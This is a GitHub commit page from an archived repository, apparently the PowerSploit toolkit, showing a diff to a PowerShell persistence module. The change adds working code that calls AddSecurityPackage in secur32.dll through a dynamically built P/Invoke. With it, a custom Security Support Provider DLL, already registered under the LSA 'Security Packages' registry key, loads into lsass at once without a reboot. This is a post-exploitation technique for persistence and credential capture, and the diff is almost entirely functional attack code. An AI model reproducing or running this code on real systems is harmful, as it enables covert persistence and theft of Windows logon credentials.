Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit 9703400

Browse files
author
mattifestation
committed
Loading of an SSP no longer requires a reboot.
1 parent 4daac21 commit 9703400

File tree

1 file changed

+41
-1
lines changed

1 file changed

+41
-1
lines changed

Persistence/Persistence.psm1

Lines changed: 41 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -857,7 +857,47 @@ into lsass, the dll must export SpLsaModeInitialize.
857857

858858
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackages
859859

860-
Write-Verbose 'Installation complete! Reboot for changes to take effect.'
860+
$DynAssembly = New-Object System.Reflection.AssemblyName('SSPI2')
861+
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
862+
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI2', $False)
863+
864+
$TypeBuilder = $ModuleBuilder.DefineType('SSPI2.Secur32', 'Public, Class')
865+
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('AddSecurityPackage',
866+
'secur32.dll',
867+
'Public, Static',
868+
[Reflection.CallingConventions]::Standard,
869+
[Int32],
870+
[Type[]] @([String], [IntPtr]),
871+
[Runtime.InteropServices.CallingConvention]::Winapi,
872+
[Runtime.InteropServices.CharSet]::Auto)
873+
874+
$Secur32 = $TypeBuilder.CreateType()
875+
876+
if ([IntPtr]::Size -eq 4) {
877+
$StructSize = 20
878+
} else {
879+
$StructSize = 24
880+
}
881+
882+
$StructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize)
883+
[Runtime.InteropServices.Marshal]::WriteInt32($StructPtr, $StructSize)
884+
885+
$RuntimeSuccess = $True
886+
887+
try {
888+
$Result = $Secur32::AddSecurityPackage($DllName, $StructPtr)
889+
} catch {
890+
$HResult = $Error[0].Exception.InnerException.HResult
891+
Write-Warning "Runtime loading of the SSP failed. (0x$($HResult.ToString('X8')))"
892+
Write-Warning "Reason: $(([ComponentModel.Win32Exception] $HResult).Message)"
893+
$RuntimeSuccess = $False
894+
}
895+
896+
if ($RuntimeSuccess) {
897+
Write-Verbose 'Installation and loading complete!'
898+
} else {
899+
Write-Verbose 'Installation complete! Reboot for changes to take effect.'
900+
}
861901
}
862902

863903
function Get-SecurityPackages

0 commit comments

Comments
 (0)